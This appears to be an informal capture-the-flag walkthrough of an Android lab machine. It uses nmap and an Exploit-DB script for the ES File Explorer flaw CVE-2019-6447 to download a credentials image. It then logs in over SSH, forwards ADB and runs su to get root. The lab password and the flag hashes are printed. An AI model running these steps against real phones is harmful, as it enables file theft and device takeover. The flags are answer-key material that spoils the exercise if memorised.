NMAP

#nmapAutomater tool

PORT STATE SERVICE
2222/tcp open EtherNetIP-1
34453/tcp open unknown
42135/tcp open unknown
59777/tcp open unknown

Making a script scan on extra ports: 34453, 42135, 59777

PORT STATE SERVICE VERSION
34453/tcp open
unknown
| fingerprint-
strings:
|
GenericLines:
| HTTP/1.0 400 Bad Request
| Date: Tue, 11 Jan 2022 07:58:04 GMT
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest:
| HTTP/1.1 412 Precondition Failed
| Date: Tue, 11 Jan 2022 07:58:04 GMT
| Content-Length: 0
| HTTPOptions:
| HTTP/1.0 501 Not Implemented
| Date: Tue, 11 Jan 2022 07:58:11 GMT
| Content-Length: 29
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Method not supported: OPTIONS
| Help:
| HTTP/1.0 400 Bad Request
| Date: Tue, 11 Jan 2022 07:58:28 GMT
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Tue, 11 Jan 2022 07:58:11 GMT
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| valid protocol version: RTSP/1.0
| SSLSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Tue, 11 Jan 2022 07:58:29 GMT
| Content-Length: 73
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ?G???,???`~?
| ??{????w????<=?o?

```
|   TLSSessionReq:
|     HTTP/1.0 400 Bad Request
|     Date: Tue, 11 Jan 2022 07:58:30 GMT
|     Content-Length: 71
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|     ??random1random2random3random4
|   TerminalServerCookie:
|     HTTP/1.0 400 Bad Request
|     Date: Tue, 11 Jan 2022 07:58:29 GMT
|     Content-Length: 54
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|_    Cookie: mstshash=nmap
42135/tcp open  http    ES File Explorer Name Response httpd
|_http-server-header: ES Name Response Server
|_http-title: Site doesn't have a title (text/html).
59777/tcp open  http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
Service Info: Device: phone
```

```
# AFTER GOOGLING ES File Explorer Name Response httpd I GOT EXPLOITDB REPO##
#LETS USE IT##
```

exploit

https://www.exploit-db.com/exploits/50070

walk

```
python3 exploit.py getFiles 10.10.10.247 /storage/emulated/0/DCIM/creds.jpg
[-] WRONG COMMAND!
Available commands :
  listFiles         : List all Files.
  listPics          : List all Pictures.
  listVideos        : List all videos.
  listAudios        : List all audios.
  listApps          : List Applications installed.
  listAppsSystem    : List System apps.
  listAppsPhone     : List Communication related apps.
  listAppsSdcard    : List apps on the SDCard.
  listAppsAll       : List all Application.
  getFile           : Download a file.
  getDeviceInfo     : Get device info.
```

```
#AFTER LISTING PICS I GOT INTRESTING FILE CALLED CREDS,JPEG##
#I DOWLOADED IT WITH THIOS FOLLOWING COMMAND##
```

```
┌──(kali㉿kali)-[~/HTB/Explore]
└─$ python3 exploit.py getFile 10.10.10.247 /storage/emulated/0/DCIM/creds.jpg        1 ×
```

```
==========================================================================
|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |
|              Coded By : Nehal a.k.a PwnerSec                |
==========================================================================

[+] Downloading file...
[+] Done. Saved as `out.dat`.
┌──(kali㉿kali)-[~/HTB/Explore]
└─$ mv out.dat out.jpeg
```

creds

```
#GOT CREDS FOR SSH##

kristi
Kr1sT!5h@Rp3xPl0r3!
```

Post Enum

```
#POST ENUMARATION WITH ADB#

ssh -p 2222 kristi@10.10.10.247                                    255 ×
Password authentication
Password:
:/ $
ssh> -L 5555:localhost:5555
Forwarding port.


┌──(kali㉿kali)-[~]
└─$ adb connect localhost:5555                                       1 ×
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to localhost:5555


┌──(kali㉿kali)-[~]
└─$ adb -s localhost:5555 shell
127|x86_64:/ $ su
:/ # whoami
root


#BOOOOM WE ARE ROOT#

#LETS FIND FLAGS

find . 2</dev/null | grep user.txt
./storage/emulated/0/user.txt
./mnt/runtime/write/emulated/0/user.txt
./mnt/runtime/read/emulated/0/user.txt
./mnt/runtime/default/emulated/0/user.txt
./data/media/0/user.txt
:/ # cat /storage/emulated/0/user.txt
f32017174c7c7e8f50c6da52891ae250
:/ # cat /data/root.txt
```

```
f04fc82b6d49b41c9b08982be59338c5
:/ #
```